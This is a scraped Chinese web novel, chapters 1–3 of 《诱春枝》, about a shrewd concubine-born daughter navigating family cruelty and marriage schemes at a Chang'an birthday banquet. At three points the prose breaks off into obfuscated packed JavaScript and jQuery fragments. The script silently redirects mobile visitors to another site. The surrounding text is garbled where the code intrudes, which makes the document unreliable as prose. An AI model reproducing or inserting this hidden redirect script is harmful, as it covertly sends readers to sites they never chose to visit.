《诱春枝》
1. 第 1 章
春日薄寒,天尚未明,整座长安城仍沉浸在未醒的夜色之中,雾气低垂,仿佛梦未散尽。
崔府静谧的大宅深处,一道急促脚步声破开清晨的寂静。
郝嬷嬷裹着厚披风,眉心紧蹙,快步朝偏西一隅的小院而来。
推门不敲,掀帘便进,寒风呼地灌入屋内。
“还在睡!”她怒喝一声,动作粗鲁地扯开罗帐,被子也一把掀翻,猛地揪住榻上人的耳朵。
“你个小蹄子,太阳都快爬上墙头了,今儿可是老夫人的寿宴,你还在这里装死?还不赶紧滚去大夫人院里伺候!”
床上的少女被这突如其来的痛意拽得半醒,睡眼朦胧地挣扎着起身,声音软绵绵带着几分娇气:“郝嬷嬷,轻点儿啊……我这就起,我马上就去,别扯耳朵,疼疼疼……”
她小脸皱成一团,嘴上连声答应,眼底却一点惧意都无,只待郝嬷嬷一走,才揉着红肿的耳根悄悄嘟哝。
“狗仗人势的老东西……再大两岁就可以去投胎了。”
她懒洋洋地翻了个白眼,慢吞吞下床,挑了件素色的对襟小褂披上,又在腰间系了根旧布带,照着铜镜随意束发。
天色尚早,院中尚未升火,水缸里的井水还透着刺骨凉意。
崔思初打来一盆冰水,手指刚一探入,便打了个寒颤,整个人抖了抖,皱着眉把水泼在脸上,脸颊被冰得泛红。
待她洗漱完毕之后,穿过几道回廊,崔思初到了主母柳南风的院中。
天光尚早,院中尚寂。
除了几个当值的婢女在小声洒扫,其余人都还沉在梦里。几树梅影被曦光投在窗纱上,显得格外清寒。
崔思初熟门熟路地走进小厨房,袖子一挽,点火、烧水、煲汤,一应动作利落娴熟。
她挑了一盏鸡骨草熬的清汤,又择了几样素净的小菜慢慢烹着,最后才将那一盅清澈如脂的燕窝放进小炭炉中,用文火慢慢炖着。
这燕窝是她嫡姐崔玄歌每日的例例规矩,不敢有误。连糖多少、温热几许都得拿捏得极准。
一切打点妥帖,天色方泛青白,她这才倚着厨房角落的墙根坐了下来,困倦如潮水般涌上来,她合了眼,轻轻眯了一觉。
醒来时,炉火未灭,燕窝恰好炖得起丝拉缕,雪白晶莹,入口即化。她取出盛好,端着食盘往厢房而去。
站在房门前,她低声唤了一句,嗓音轻软:“姐姐,我炖了燕窝,准备进来了。”
屋里人声有些沙哑,带着点不耐烦:“进来吧。”
崔思初应声而入,步子轻得像踩在绵絮上,将那碗燕窝放到梳妆台上,又小心为崔玄歌打起帘子,取热毛巾温水,伺候她起身更衣。
今儿是崔府老夫人七十大寿,整座崔府也终于慢慢热络起来了。
窗外,丫鬟们脚步匆匆,衣裳带风。铜壶中热水翻滚作响,青烟裊裊升起,春寒未退的清晨,也热闹了几分。
柳南风起身更衣后,便召了几个得力的婆子丫头,在院中嘱咐着寿宴事宜。
虽说崔家只是个工部尚书府,算不得权重位高,但崔怀木向来擅钻营,又与几位勋贵子弟交情颇深。
再加上老夫人素爱热闹,早在一月前便四处递帖,请来的客人个个不凡,摆明了要借今日这场寿宴,替老夫人风风光光地撑一撑面子。
柳南风一出内室,便瞥见不远处的廊下,嫡女崔玄歌已然打扮妥帖,挽发珠钗,仪容端丽。而那立在她身后的崔思初,却只穿着一件粗布单衣,低眉顺眼。
柳南风眼底一闪嫌恶,随后又换上一副温婉和煦的笑容,几步上前将崔玄歌的手挽住,口中满是慈爱地夸赞:“我们家玄歌,今日打扮得真好,大方得体,瞧这仪态,才像咱崔家的嫡女,端庄又气派。”
崔玄歌微红着脸,有些羞涩地扯了扯娘亲的衣袖,轻声笑道:“都是母亲养得好。”
两人说笑着,柳南风忽然转身,目光落到崔思初身上。
她笑容未变,却在眼角压了一丝凉意:“今日是你祖母七十大寿,场面不小。虽说你过去只是庄子上的孩子,是老爷一时糊涂的孽缘,但既然如今接你回府,叫我一声母亲,也算是我们大房院里名正言顺的庶女了。”
她语气轻缓,却句句分明:“一会儿去挑身像样的衣裳,别在众宾客面前失了体面,让人笑话我们大房的教养。”
说罢便不再看她,言语仿若吩咐下人搬盆水那般随意。
一旁的崔玄歌也回眸望了过来,目光落在崔思初脸上,眼中浮现一丝打量与讽刺。
“也不知是哪点招了人喜欢,”她冷声道,“八成是随了她那狐媚子的娘。”
话音刚落,崔思初上前两步,垂首站在柳南风面前,柔声应道:
“思初的母亲只有您一位,思初不记得别的人。”
这话说得乖巧,声如蚊蚋,语句却滴水不漏,既未认错,又未顶撞,甚至还顺带在众人面前捧了主母的面子。
柳南风闻言,眼神微顿,只冷笑了一声,拂袖转身而去。
崔玄歌挑眉看她一眼,轻哼了一声,似笑非笑地走远。
而崔思初站在原地,垂下眼睫,长睫遮住眼底情绪,唇角轻轻抿起,像是一个将委屈吞回肚中的小姑娘。
可只有她自己知道,她咬着舌根,是为了逼自己忍住没笑出来。
柳南风冷哼一声,眼神如刀,“算你识趣。今日老夫人高寿,若叫我知道你有什么不规矩的举动——”
她停顿片刻,唇角勾起一抹森然冷笑,“小心我回来看我怎么收拾你。”
“是,母亲。”崔思初垂首应下,声音温顺得几乎听不出情绪。
柳南风携着崔玄歌款款离去,两人衣袂飘飘,在朝阳下步履从容,一路朝老夫人院中而去。
待那道背影终于消失在回廊尽头,崔思初才抬起头,眼神凉薄地望着前方,冷冷吐出一口气:“呸,你也配当我母亲。”
晨光微熹,风掠过枝头,吹乱了她鬓边碎发,也吹痛了心头旧事。
她想起一年前的这个时节——
亲娘病重弥留,临终前紧紧握着她的手,泪眼婆娑地说:“活下去,思初。哪怕要讨,或者才能争。”
可娘刚入土,她便被崔怀木以“养女归宗”的名义接回了京中。
回府那日,阴雨连绵,檐下滴水如线。她站在正厅,浑身湿透,满屋的目光像是看一件不合时宜的旧物。
没有人欢迎她,更没人想留下她。
柳南风当众掀帘而入,一声冷笑:“我身为柳家嫡女,陪嫁数百箱银庄、三十口长随,养着你崔家上上下下,他倒好,在外面养起了野种。”
那场争执惊动了满府,崔怀木脸都被打红了,却仍是低声哄劝,只说崔思初这般模样,满京城怕是再寻不出第二个;性子也乖巧听话,将来若是献给权贵,也能替崔家添光增彩。
为了留下来,崔思初在冷雨中跪了整整一个下午,雨冷、地冷,直到听见父亲那番话,她才明白——世上最凉薄的,从来不是天色,而是人心。
从那一刻起,她便死了心,再无一丝对崔家的妄念。
直到夜里昏厥在青砖地上,才听人说,柳南风让人传话:“既然长得像样,也还算懂事,就收了罢。”
三日后,在香火缭绕的祠堂,她跪在祖宗牌位前磕头,认祖归宗。
礼成之后,她身边终于有了个名分,却没有一个人真正接纳她。
思及至此,她的指尖缓缓收紧,指甲深深嵌入掌心,血气一涌,却换来一抹笑意——
没关系,谁在意呢。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230701|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>回到院中,她换上一袭翠缛色团花织锦裙,衣襟绣着攒金细纹,团花隐现,衬得她肌肤胜雪,几乎透亮如瓷。
她在妆几前坐下,取来柳南风刚刚命人送来的首饰,一件件稳稳戴上:翠羽攒成的鎏金花钗斜插鬓侧,细如鱼脊的金链垂坠耳侧,一颗东珠点缀,莹白圆润,映着她别有风情。
柳南风有一样好,她出身富贵,自小锦衣玉食,骨子里最在意体面。虽然背地里恨不得让她穿得比下人还不如,可一旦要在外人面前露面,便生怕别人说她苛待庶女,吝啬小气。
崔思初望着铜镜中那张妆点未施、却已艳色逼人的面孔,唇角勾起一丝笑,意味难明。
她起身走到妆奁旁,蹲下身子,伸手从柜底掏出一本泛旧的小册子。
那册子被她用锦帕包了三重,她将帕子揭开,拂去上头一层浮灰,小心地翻开第一页,眼底闪过一丝专注的光。
册页上密密麻麻,尽是京中勋贵子弟的名讳与出身:太傅府世子、镇国公之孙、太尉嫡子、左都御史家的郎君……每一人后面,都工整地写着几行评语,有人被评“家世显赫,然性情浮躁”;也有人注“外表清贵,实则荒唐”;更有几人后头空白,只写了个“观望”二字。
她平日里虽身为庶女,进不得外头应酬场,却素来耳聪目明,善从丫鬟婆子们的碎嘴中捕风捉影,或在饭桌间、后院里无声倾听。
听得多了,便习惯将这些八卦暗记在心,回头一一揣度,加以整理,写入这本册子中。
她不是信风言风语之人,每一笔每一划,都自有她的一番判断——才学、家势、性情、品貌,甚至连他们的喜好和母族是否强势,她都评得明明白白。
今日是崔家大宴,宾客云集。她早前便偷偷看过了请帖名单,此刻心下已有数。
她微眯着眼,食指缓缓掠过册页,轻声念道:
“魏从璟,太仆寺少卿之子……哼,‘性情温吞,品貌倒还过得去’,给他打了个六分,倒要看看值不值得添一分。”
“裴文郁,吏部侍郎的嫡长子……上回听人说他三月还未定亲,说不定有戏。”
“谢衡舟,谢家小郎?……嗯,这人倒是说书先生都夸,说他琴棋书画样样精通,五官俊朗,脾气却不好,母族不好惹……”
她一边翻页,一边轻轻抿唇,眼神半敛,眉间藏着细细的心思,唇角扬着一抹似有若无的笑意。
“这些人,得一个是一个。若能攀得一门好亲事……”崔思初语声轻软,如喃似语。
忽而,手指一顿,停在某一页上。
——沈鹤。
安国公,兵部尚书,正值而立之年。
她自然听过这位的名声。
才学卓著,权势滔天,却以冷酷寡情著称。
十年镇守西北,染满风霜血气,回京不过半年,便震住了朝野。传言他性情冷冽、杀伐果决,京中贵女避之唯恐不及,甚至提起他的名字都要低声细语,生怕沾了煞气。
崔思初望着那行字,玉指轻轻一勾,眉梢微挑,淡淡地道:
“这种人……冷得像把刀,碰都不能碰。”
语气里不带丝毫犹豫,像是认定了他注定与她无缘。
说罢,她提起笔,在名字边上绕了一道弧线,接着干脆利落地打了个叉。
一笔,封死。
她未再多看,指尖微动,继续往下翻去。
——萧玉白。
镇国公府的大公子,沈鹤的亲侄,尚未定亲,年方弱冠,传闻才貌双绝。尤其他去年以文状元之名折服朝堂,不依家势,圣上还当众夸他“品貌风流、器度不凡”。
崔思初望着那三个字,眼底微光流转,指尖轻敲纸页,声音慢悠悠地响起:
“……这可真是棵难得的好高枝啊。”
2. 第 2 章
阳光初升,金瓦照墙,整座崔府早已张灯结彩,朱红门前车马盈巷。
巳时未到,朱雀街两侧便已聚了看热闹的百姓,有人踩在青石驳岸上远望,有人低声猜测来客身份。
只见一辆又一辆豪车缓缓停至府前,金顶銮驾、紫檀香舆、绣帘低垂,皆是权贵世家的排场。守门的家丁汗湿青衣,忙着引客入席,门房小厮更是口干舌燥,连报了十几个响当当的姓氏,仍不见停歇。
“礼部尚书府,裴大人一家到!”
“镇国公府世子萧玉白到!”
“定远侯一家到!”
……
堂前的缎毯自石阶铺下,一直延伸到外厅檐下,正午的阳光落在上头,晃得人眼生花。正院花棚挂满青绫灯彩,彩帛随风鼓动,。
崔家上上下下齐出动,嫡房的女眷早已着了正礼,个个笑语盈盈地在正厅门口迎客,一派主母世家气度。
老夫人今日寿宴,果然如外界所言,花费不菲,声势浩大,京中权贵,来者过半。
前厅铜炉中焚着上好的雪梅香,香烟袅袅,萦绕其间,宾客络绎,笑语声中,权贵子弟们也三三两两聚在一角。
一袭月白袍子的少年立于丹桂树下,身姿清瘦,唇角浅勾,一双眼生得极好,顾盼间自有几分风流。
有人低声唤:“萧表弟。”
萧玉白侧头颔首,“凌轩表哥。”行为举止十分得体。
正厅偏西一隅,几位年岁相仿的贵女围坐一席,衣香鬓影,笑语盈盈。
崔玄歌坐在首位,一袭流霞织金长裙,眉眼明艳,神情中自有一派嫡女风仪。她左侧是尚书府二女陆思之,右边坐着定远侯府的嫡孙女裴舟月,几位皆是京中颇有名头的贵女。
陆思之手中转着茶盏,笑着道:“玄歌,你今儿打扮得真是好看,方才我娘都说,像你这样的姑娘,将来嫁去世家,才真能撑得起门楣。”
崔玄歌笑了笑,温婉应道:“陆妹妹说笑了,今日是祖母大寿,理当用心些。”
她话音才落,旁边一位贵女忽凑近了些,压低声音问:“对了,我听人说……崔家不是去年接回了个庶女?怎的到现在也不见人影?”
另一位贵女附和道:“对对对,就是那个……什么挽字的,我听说她以前一直养在庄子上,粗手粗脚,大字不识一个。”
“我听的是她模样不堪,崔府怕丢人,才一直不肯让她见外人。”那贵女捂嘴一笑,笑容里藏着一丝讥诮,“若不是今儿宴请宾客多,她怕是还得继续藏在后院里喂鸡。”
几人言语轻笑,然眼波交错间,皆是明枪暗箭。
裴舟月端起茶杯挑了挑眉,斜睨了一眼崔玄歌:“就算是你庶妹,也是你崔家的人,你就由着她们这般议论?”
崔玄歌面色不动,端着茶盏轻啜一口,温声道:“王姐姐见笑了。”随后她又对其他人说道:“我这妹妹,模样倒是还过得去,只是从庄子回来没多久,规矩不懂,也没念过多少书,我娘平日里教她,她也学得慢,怕冲撞贵人,才一直未露面罢了,今日你们自然会见到她。”
“哦?”一位贵女笑着说,“你这位妹妹,难道还想登台面不成?”
几人笑声轻巧,语气婉转,实则针针见血。
裴舟月懒得理,只觉得吵得慌,她又饮下一口茶,只转头望向萧玉白,少年正举盏与人畅谈,神色自若。
而庭院另一角,裴凌轩早已百无聊赖地倚在雕花椅上,懒散地啜着一盏果酒。杏色绣鹤常服穿在他身上半分不正经,腰间斜插一支玉笛,整个人像寿宴上随便飘过的一阵风。
“凌轩表哥,你倒是收敛些,外人都看着呢。”萧玉白轻声提醒。
裴凌轩斜眼扫了他一眼,唇角微挑:“咱们之间还讲什么规矩?”
萧玉白轻笑,无奈摇头:“这里可不是你们定远侯府。”
裴凌轩撑着折扇懒懒一转,忽而仰头打了个哈欠:“这般坐着作陪,未免太闷。不如咱们玩投壶?”
他这话一出,周围人顿时来了兴致。
“也好,也好,好久没见王二公子的手艺了。”
崔玄歌笑着颔首,吩咐丫鬟取来铜壶与羽箭。不多时,几张描金锦几摆于庭中,铜壶安置,彩羽斜插壶旁,院中顿时热闹起来。
贵子贵女们你一言我一语,笑声洒落春光里,好一片祥和。
有人姿态娴熟地投出一箭,有人笑着偏头避让,连不中三箭也不羞恼,只当作趣事一桩。
萧玉白本不欲动,只作观礼,数次推辞。裴舟月笑着凑近一步,语气娇俏又理直气壮:
“表哥,一起来热闹罢。你若不投,旁人可都不敢赢。”
他闻言微一颔首,执箭而起。月白衣袍被春风一拂,素手拈箭,气度雅然,一式从容落子,正中壶心。
壶声清响,满座喝彩。
众人交口称赞,裴舟月望着他眸中一亮,笑意更浓。
轮到裴凌轩,他先是打了个响指,啧啧两声,半是调笑半是真傲:“这样投也太乏味了,哪次不是我赢?”
“那你倒使点新鲜花样来。”有人笑着起哄。
他也不多言,朝下人一摆手:“帕子拿来。”
众人正疑惑,只见他将帕子蒙住双眼,又自顾自转了三圈,身子一歪,几乎撞到身侧一位贵女裙摆,惹得周围笑声连连。
“二公子今儿是喝醉了?”
“他若投得中,我当场跳壶里喝水去!”
裴凌轩却不为所动,脚尖一顿,听声辨位,自信挥手。
羽箭破风而出,划破春日笑声。
“啪嗒”一声极轻。
却不是落壶的响。
笑声在那一瞬,忽然齐齐止住,像是被人攥住了喉咙,空气都静了。
羽箭不偏不倚,正插在院门方才推开的帘影之中,一名女子立于光下,额前簪钗已坠,墨发披落,像夜色在白昼中突兀铺开。
她指尖轻轻一抬,将箭从发间取下,握在掌心。
满院皆寂。
裴凌轩还未察觉,兀自抱怨道:“怎么不响?难不成壶倒了?”
他摘下眼帕,顺着众人呆滞的目光望去,动作未停,笑语却顿住。
崔思初与裴凌轩四目相接,仅是一瞬,便似被灼了般,连忙垂下头,眼睫微颤,仿佛因方才那一箭而惊魂未定,又像羞赧失措。
气氛微滞。
崔玄歌适时出声,声音带笑,却拢着一股不容置疑的掌控意味:“裴二公子这一箭扰了我庶妹的发髻,投壶也输了,不如自罚三杯,就当赔个礼如何?”
然而裴凌轩仿佛没听见她的打圆场,眼神却仍牢牢锁在崔思初身上。片刻后,他几步上前,长身玉立,毫无顾忌地走到她面前,弯腰拾起地上掉落的发簪。
裴凌轩将簪子递到她眼前,眉峰一挑,声音低沉而直白:“如此美貌,竟是你庶妹?我竟在侯府与世隔绝至此,连京中佳人都认不全了?”
话音一落,满院皆静,崔玄歌嘴角抽搐一下,但依然神色如常。
崔思初脸上顿时飞上一抹红晕,眉眼不敢抬起,仿佛更觉羞赧,一只手在袖中捏着,像是想要接过发簪,却又不敢伸手。
萧玉白站在不远处,见状眉头一动,脚下微顿,正欲上前解围,却被一道倩影先他一步截住。
裴舟月眸光一冷,裙摆一转已至裴凌轩身侧,毫不客气地伸手揪住他衣领,另一只手干脆利落地夺过他手中发簪,语气带着几分训斥与嫌弃:
“你脑子里都装了些什么?在这种场合胡言乱语,也不怕叫人笑话。”
裴凌轩被拽得一个趔趄,还未反应过来,裴舟月已转头看向崔思初,神色一变,语气倒温和许多:
“崔家妹妹,我阿兄一向如此顽劣,失礼之处,还请你莫怪。”
崔思初连忙摇头,声音轻柔:“这位姐姐说哪里话,方才那箭也没伤着我。”
她将手中仍握着的那支羽箭递还过去,姿态谦顺、礼数周全。
裴舟月接过,随即将发簪重新递还给她。
崔思初微微一愣,旋即垂眸接过,轻轻转身,露出一截雪白细腻的后颈,在众人注视下,手指灵巧地将发髻一绾,几缕青丝被她拢至耳后,动作娴静而优雅。
她站定,挺直身子,重新面向众人。
那张清丽端雅的面容上已无怯意,盈盈一颔首,声音不高,却清晰入耳:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230702|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“小女思初,见过各位,初来京中,多有疏漏,还望诸位海涵。”
语声极软,却不失分寸,像是落在雪地里的细雨,柔得几乎听不出锋芒。
裴舟月眸中一动,笑意却未达眼底:“这名字倒也文气,一起来玩吧,思初妹妹。”
崔思初也不拒绝,倒是大大方方跟着裴舟月入了局。
庭中嬉笑渐浓,羽箭在手中流转,一轮又一轮的投壶接连而起。
崔玄歌扫视一圈,似无意道:“思初,既来了,倒也不必拘着。不若也来投上一壶?”
崔思初垂眸轻应,接过崔玄歌手中递来的箭矢,缓步走到壶前,手指执箭,姿势规规矩矩,一眼便看出未曾受过什么骑射教导。她对准壶口,略一迟疑,羽箭轻轻一掷。
未中,落偏些许。
周围轻笑声起,却又见她似毫不在意,微微一笑,温声慢语道:“头一回与各位姐姐哥哥们玩这个,失了准头,倒是叫人见笑了。”
她回身,福了一礼,神色仍是温顺,唇角含笑,眼底却毫无惧色。
萧玉白望着她一瞬,唇角微勾,不知为何忽觉有趣,扬声道:“无碍,初来乍到,不中才正常,若一箭中的,才显得我等反倒是空有虚名。”
这话一出,几人笑着应和,轻松了气氛,崔思初也循声看去,那便是萧玉白。
少年立于花棚之下,月白团鹤纹圆领袍,袖口以银线勾勒流云暗纹,腰束玉带,佩一枚青田白玉珏。日光斜落于肩,衣袂生辉。
他五官温和清俊,并不张扬,却是那种越看越沉心的模样。眉如远山含烟,目似春水藏波,唇角微含笑意,语未至,先让人心生亲近。
举止端然而有礼,偏又带着书卷气里最温厚的一笔,如兰似玉,落落公子。
崔思初收回目光,心中暗想:可以给他打九分,裴凌轩和他比起来嘛,太浪荡,最多六分。
裴凌轩却咂舌:“你这说法,怕不是给她台阶下?”
“你那一箭倒是惊天动地,”裴舟月凉凉一瞥,接着萧玉白的话茬怼了一句:“还想再插一次?”
众人哄笑。
崔思初立在壶边,仍不动怒,回眸一笑:“妹妹本也不擅技艺,只是借机与诸位熟识一二,心已满足。”
裴舟月抬眼看她一眼,忽而想起刚才崔玄歌介绍那句:模样还过得去,没念过书。
不禁轻轻哂笑。
彼时,正厅深处。
彼时,正厅远侧,同一时刻。
一位身着紫纹团龙朝服的中年男子立于席前,鬓角微霜,眼神却不动声色地越过前方人影,落在那院中投壶结束后的少女身上。
他唇边挂着温吞笑意,语气里却藏着几分不动声色的探问:“嫡姑娘我是见过的,仪容出众,行止也极是大方……倒是那位刚才亮相的小姑娘,可曾是令爱?”
崔怀木闻言,眉眼轻挑,旋即含笑作答:“太尉眼力极准。那是拙女,自幼寄居乡野,去年方接回京中,还未多露过面,让您见笑了。”
“乡下?”王太尉缓缓摩挲茶盏,语调悠长,似是感慨,又似漫不经心,“倒别有一番风致。”
他顿了顿,又似随口道:“不知令嫒年岁几何,可曾许人?”
崔怀木与他目光一触,心下即明这老狐意欲何为。念及崔府门第未稳,若能攀上王氏,便是一步好棋,当即眉开眼笑:“小女已过及笄,尚未议婚。若太尉有意,自当从命。”
王太尉闻言轻轻一笑,那笑意却未达眼底,反倒带着点说不出的意味深长。
“崔尚书此话,倒叫本官动了几分念想。”
他将茶盏轻轻搁下,发出“咚”的一声闷响。厅中一时间静了片刻。
“年纪虽小了些,模样却好。”他淡淡道,“若能调教得法,留在府中奉茶捧水,也不失为一桩趣事。”
崔怀木心头猛地一紧,旋即堆出一张笑脸:“太尉若有意,怀木自当成全。”
王太尉再次抬眼看了崔思初那方一眼,眼神幽深,唇角却勾起一抹微不可察的弧度,像是在细细品味猎物未入口前的滋味。
片刻后,他端起茶盏,似笑非笑:“如此甚好,如此甚好!”
3. 第 3 章
投壶的热闹散去,庭中人声尚未平息。
崔思初站在锦几一侧,正欲退回原位,却莫名心头一紧,仿佛背后被一道目光穿透似的,令人发凉。她缓缓转过头,视线顺着人群掠过廊柱、帘影。
便见正厅深处,一袭紫袍的王太尉立于半影之中,手执茶盏,眼神却穿过重重人影,直直落在她身上。
那目光不动如钉,带着几分意味不明的揣度,分明裹着笑意,却叫人浑身发麻。崔思初心中一跳,本能地别过脸去,却在那一瞬,后背猛地被人撞了一下。
她脚步踉跄,眼前一晃,整个人向前栽去。
“当心。”
一只手及时扶住了她的肩膀,力道温和却极稳,将她从将倒未倒的尴尬边缘轻轻带回。
崔思初心头一震,尚未来得及反应,便听见那人温声道:“刚才酒撒了,地上湿滑,小心些。”
她抬起眼,便撞入一双藏着月色般的眸子,是萧玉白。
他眉眼清朗,唇角含着淡淡的笑意,手未曾越矩,却恰到好处地将她扶正。
四周已有人望来,窃语低响。
崔思初一怔,旋即垂眸退后半步,福了福身,柔声道:“多谢世子殿下。”
语气温婉,仪态得体,却藏不住指尖悄然收紧的微颤。
裴舟月也不自觉朝她看去,目光在崔思初身上略作停顿,心口微微一紧,却终究什么都没说。
不多时,崔老夫人的寿宴正式开始。庭中鼓乐声起,戏台子早已搭好,命下人们张罗着贵客们移步听戏,一出《昭君出塞》缓缓开场,堂上宾客依次落座,酒盏交错,言笑晏晏。
崔思初并没有跟上去,此刻她只觉满院喧嚣无趣至极。
柳南风见她站着不动,以为她性格软糯不适人多,忽将她叫去,让她替自己送几位已微醺的诰命夫人出府。崔思初乖顺地应了,一路搀扶送客,低眉顺眼,不露半分情绪。
待那几位夫人终究坐上轿辇离去,庭中才稍稍清静下来。她转身回到方才投壶之处,院中只余几片残花落地、彩羽零散。
崔思初俯身拾起几支掉落在地的羽箭,眼眸低垂,神色淡淡。她看着那些箭,唇角一勾,抬手一掷。
“唰唰唰。”
几支箭齐齐飞出,笔直划过空中,皆不偏不倚,稳稳落入壶中。
清响连连,壶口如鼓鸣。她却神情淡然,只拍了拍手,像是做了件无足轻重的小事。
紧接着,她收敛神色,垂下眼睫,换上一副怯生生的神情,步履轻巧,循着人流,也缓缓朝别院方向走去。
那边戏文终了,锣鼓一收,曲调戛然而止。众人依次起身,或送寿礼,或奉寿词,满口贺语中带着虚应故事的疲惫。场中气氛渐淡,宾客三三两两告辞离去。
崔思初在末席之处静静站着,目光低垂,直到最后一人行礼离席,这才缓步转身,悄然回了自己的小院。
屋内空无一人,热水未续,香炉熄了半截,她才刚坐下,手指才碰上床榻,门口就响起一声低唤:“崔五姑娘,老太太要醒酒茶,叫您去一趟。”
她眼神微凝,没作声,只一言不发地站起身,袖口一甩,顺手将刚拿起的枕头扔在榻上,砸得蒲团微颤。
又是这一套。
崔思初换了件披袄,领命去了厨房,煮好醒酒汤,再端着热腾腾的一盅汤水进了老夫人的正院。
室内炉火正旺,窗边卷帘半开,疏影横斜。老夫人倚着靠枕,神情尚和,见她进来,竟也没有斥责,只抬手示意:“过来。”
崔思初端着汤盅上前,躬身将汤轻放在矮几上,又垂首立于一侧,眉眼恭顺。
正此时,帘子一掀,一阵幽香扑鼻。柳南风一袭银鼠灰广袖袍,金丝披帛绣兰花蔓枝,满面春风地走了进来。
她一眼便瞧见了在旁伺候的崔思初,步伐一顿,随后笑意盈盈地朝她走近,仿佛看见什么极其有趣的事物。
“哟,怎么是你?”她语气轻柔,眼底却藏着尖锐寒光,“今日这寿宴你可出尽了风头,连太尉大人都记住你了。”
崔思初垂眸,不动声色。
柳南风状似随意地在她面前站定,唇角笑意更深了些,像滴了蜜似的甜,却带着浓浓的讽意。
“你说你真是不知道哪儿捡来的好福气,王太尉看上你了,要娶你做正妻呢。”她一字一句,意味深长,“不出几日,帖子便该到了府上。”
她说话时,指尖还缓缓摩挲着腕上的玉镯,似笑非笑地看着她,仿佛在等她露出慌张惊喜的模样。
可崔思初只低头盈盈一福,温声细语:“若真如此,自是思初之幸,全听父亲母亲安排。”
她抬眼微笑,眼波澄澈,似没有半点异样情绪。
崔老夫人将醒酒茶放至案几,眉心微蹙,低声叹了口气:“那王太尉年纪大了些,儿子都比思初还年长……这门亲事,真合适吗?她一个小姑娘,嫁过去能镇的住吗?”
她言语虽轻,却透着几分迟疑。
柳南风却毫不迟疑地走上前,俯身替老夫人轻柔地揉捏着肩膀,语气颇为殷勤:“哎哟,母亲,您这话可不对了。思初虽是我们崔府的姑娘,可到底是庶出,她生母家也没个靠山。将来若是嫁去寻常人家,门第落寞、婆母刻薄,那才真叫苦命。”
她顿了顿,又笑道:“这世上哪个高门世家会将正妻之位留给个庶出的姑娘?若非做妾,就是受苦。如今王太尉虽年纪大了些,但好歹曾是朝中重臣,太子的老师,京中谁敢不敬三分?能当他的正妻,那是几辈子修来的福气。思初这孩子,只要安分守本分,将来衣食无忧、荣华富贵,那可是咱们府上的一桩美事。”
一席话说得滴水不漏,句句贴着“为她好”的名义,实则打着算盘将人往火坑里送。
崔思初立在一侧,垂眸静听,神色温顺,唇角却悄悄勾起了一丝看不出的冷笑。
风光?荣宠?她倒想看看,一个半只脚踏进棺材的老匹夫,还能给她什么风光。
若说柳南风那张口说得巧舌如簧,嫁过去捧茶伺候一个心思阴狠、满眼贪欲的老男人,还要对外作出一副“飞上枝头”的感恩模样?
她心中一声冷笑:这笑话,还真是越听越荒唐了。
崔老夫人七十大寿一过,心情极好,便下令府中上下连放三日假,所有人都领了赏银,不论是主子还是下人,皆面带喜色,整座府邸弥漫着一股难得的轻松气氛。
柳南风也一改往日对崔思初的冷面刁难,自从王太尉动了娶她为正妻的念头,待她不免和缓了几分,不但不再使唤她起早贪黑伺候,反倒遣人送去几匹上好的素缎与蜀锦,说是:“以后身份不比从前,总得打点几件像样的衣裳穿出去才成。”
崔思初将那几匹布料挂在屋角,笑意淡淡,不置可否。
这一觉她睡得前所未有的安稳,一直到日头爬上窗棂才醒来。
整个人像是换了层皮,眼下再无倦色,唇色也添了几分光润。她坐在镜前,刚要起身梳头,便听院外传来一阵喧哗之声,隐隐是女子尖利的吼声,夹杂着瓷器摔碎的声音,直震得廊下小雀扑翅飞起。
崔思初眉一挑,嘴角勾起兴致,顺手将发尾一绾,揽了件对襟小褂穿上,轻手轻脚出了门。
循声而去,只见柳南风的正院门扇虚掩,帘子被风吹得轻扬。她走至角门外,侧耳贴墙。
“我不嫁!”崔玄歌的声音里带着几分失控,“他裴凌轩算什么东西?整日花街柳巷、醉生梦死,我堂堂嫡女,凭什么要嫁他?”
柳南风的声音也高了几分,却还压着气:“闭嘴!你嫁的不是他这个人,而是整个定远侯府!你以为侯府好亲事会等着你挑来挑去?他们祖上是跟着先帝打下江山的,如今一个贵妃在宫里稳坐凤池,两个孙儿一个是玄武军统帅,要自己立府,另一个将来要世袭侯府,咱们崔家想攀的这门亲,不知多少人削尖了脑袋!”
“可他是个浪荡子!”崔玄歌语声发颤,像是摔了什么,“定亲前夜还在勾栏听曲儿,你叫女儿以后去了独守空房?”
“你少在这儿撒泼!”柳南风怒道,“你是嫡女,是要为整个崔家打算盘的!裴凌轩再浪,也不过是男人的常态,你以为裴凌湛那等人物,是你能高攀的?这桩亲事是你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230703|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
父亲亲自定下的,婚帖都已经送出去了,你现在说不嫁,崔家的脸往哪儿搁!”
